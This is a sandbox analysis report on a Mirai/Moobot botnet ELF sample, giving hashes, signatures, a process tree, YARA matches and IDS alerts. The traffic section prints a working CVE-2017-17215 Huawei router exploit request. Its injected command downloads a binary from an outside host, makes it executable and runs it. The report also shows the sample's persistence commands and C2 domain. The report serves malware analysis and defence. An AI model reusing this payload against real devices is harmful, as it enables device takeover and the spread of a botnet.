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Linux Analysis Report
XjaYYNxg9D.elf

Overview

General Information

Sample Name:	XjaYYNxg9D.elf
Original Sample Name:	05cd9d16cf63fa2dd117138e2885b87e.elf
Analysis ID:	847794
MD5:	05cd9d16cf63fa2dd117138e2885b87e
SHA1:	8bc924e4093dc131be50344393fbc5a978f5452a
SHA256:	6d8ce26f0b71e46a71eaa66a5edcc49647c30f01e95567fd5c500f919b692fd1
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Uses dynamic DNS services

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Deletes log files

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	847794
Start date and time:	2023-04-17 00:03:15 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	XjaYYNxg9D.elf
Original Sample Name:	05cd9d16cf63fa2dd117138e2885b87e.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/53@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/XjaYYNxg9D.elf
PID:	6397
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6203, Parent: 1)

fstrim (PID: 6203, Parent: 1, MD5: 72cd771da16ce70f2601ba29d880bd00) Arguments: /sbin/fstrim --fstab --verbose --quiet

systemd New Fork (PID: 6218, Parent: 1)

logrotate (PID: 6218, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6373, Parent: 6218)

gzip (PID: 6373, Parent: 6218, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6374, Parent: 6218)

sh (PID: 6374, Parent: 6218, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6375, Parent: 6374)

invoke-rc.d (PID: 6375, Parent: 6374, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6376, Parent: 6375)

runlevel (PID: 6376, Parent: 6375, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6378, Parent: 6375)

systemctl (PID: 6378, Parent: 6375, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6381, Parent: 6375)

ls (PID: 6381, Parent: 6375, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6382, Parent: 6375)

systemctl (PID: 6382, Parent: 6375, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6383, Parent: 6218)

gzip (PID: 6383, Parent: 6218, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6384, Parent: 6218)

sh (PID: 6384, Parent: 6218, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6385, Parent: 6384)

rsyslog-rotate (PID: 6385, Parent: 6384, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6386, Parent: 6385)

systemctl (PID: 6386, Parent: 6385, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6222, Parent: 1)

install (PID: 6222, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6361, Parent: 1)

find (PID: 6361, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6380, Parent: 1)

mandb (PID: 6380, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

XjaYYNxg9D.elf (PID: 6397, Parent: 6125, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/XjaYYNxg9D.elf

XjaYYNxg9D.elf New Fork (PID: 6399, Parent: 6397)

sh (PID: 6399, Parent: 6397, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/XjaYYNxg9D.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 6410, Parent: 6399)

rm (PID: 6410, Parent: 6399, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 6411, Parent: 6399)

mkdir (PID: 6411, Parent: 6399, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6412, Parent: 6399)

mv (PID: 6412, Parent: 6399, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/XjaYYNxg9D.elf bin/systemd

sh New Fork (PID: 6413, Parent: 6399)

chmod (PID: 6413, Parent: 6399, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

XjaYYNxg9D.elf New Fork (PID: 6415, Parent: 6397)

XjaYYNxg9D.elf New Fork (PID: 6417, Parent: 6415)

XjaYYNxg9D.elf New Fork (PID: 6419, Parent: 6415)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
XjaYYNxg9D.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
XjaYYNxg9D.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
XjaYYNxg9D.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xd33c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd38c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd42c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd47c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xd33c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd38c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd42c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd47c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: XjaYYNxg9D.elf PID: 6397	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: XjaYYNxg9D.elf PID: 6397	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xb49c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb4b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb4c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb4d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb4ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb500:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb514:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb528:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb53c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb550:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb58c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb5a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb5b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb5c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb5dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb5f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb62c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.66.103

Timestamp:	192.168.2.23197.39.66.10348540372152835222 04/17/23-00:04:12.412713
SID:	2835222
Source Port:	48540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.248.215.72

Timestamp:	192.168.2.23149.248.215.7235798372152835222 04/17/23-00:05:37.425639
SID:	2835222
Source Port:	35798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.65.20.22

Timestamp:	192.168.2.23172.65.20.2243108372152835222 04/17/23-00:04:42.927950
SID:	2835222
Source Port:	43108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.160.76.193

Timestamp:	192.168.2.2334.160.76.19333040372152835222 04/17/23-00:05:32.341635
SID:	2835222
Source Port:	33040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.168.89

Timestamp:	192.168.2.2341.232.168.8934476372152835222 04/17/23-00:05:00.838408
SID:	2835222
Source Port:	34476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.110.250.160

Timestamp:	192.168.2.2334.110.250.16057368372152835222 04/17/23-00:05:54.791788
SID:	2835222
Source Port:	57368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 50.7.177.58 - Destination IP: 192.168.2.23

Timestamp:	50.7.177.58192.168.2.2356999383442030489 04/17/23-00:06:01.997512
SID:	2030489
Source Port:	56999
Destination Port:	38344
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 168.220.84.20

Timestamp:	192.168.2.23168.220.84.2042162372152835222 04/17/23-00:05:52.744111
SID:	2835222
Source Port:	42162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 50.7.177.58

Timestamp:	192.168.2.2350.7.177.5838344569992030490 04/17/23-00:04:04.236634
SID:	2030490
Source Port:	38344
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.168.89

Timestamp:	192.168.2.2341.232.168.8934474372152835222 04/17/23-00:04:59.738634
SID:	2835222
Source Port:	34474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 454Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 35 30 2e 37 2e 31 37 37 2e 35 38 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 50.7.177.58 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: condi-v4.ddns.net

System Summary

Malicious sample detected (through community Yara rule)

Source: XjaYYNxg9D.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: XjaYYNxg9D.elf PID: 6397, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: XjaYYNxg9D.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: XjaYYNxg9D.elf PID: 6397, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 50.7.177.58 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 50.7.177.58 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemd

Source: classification engine

Classification label: mal100.troj.linELF@0/53@1/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6413)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /bin/sh (PID: 6411)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 6413)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/3088/cmdline	Jump to behavior
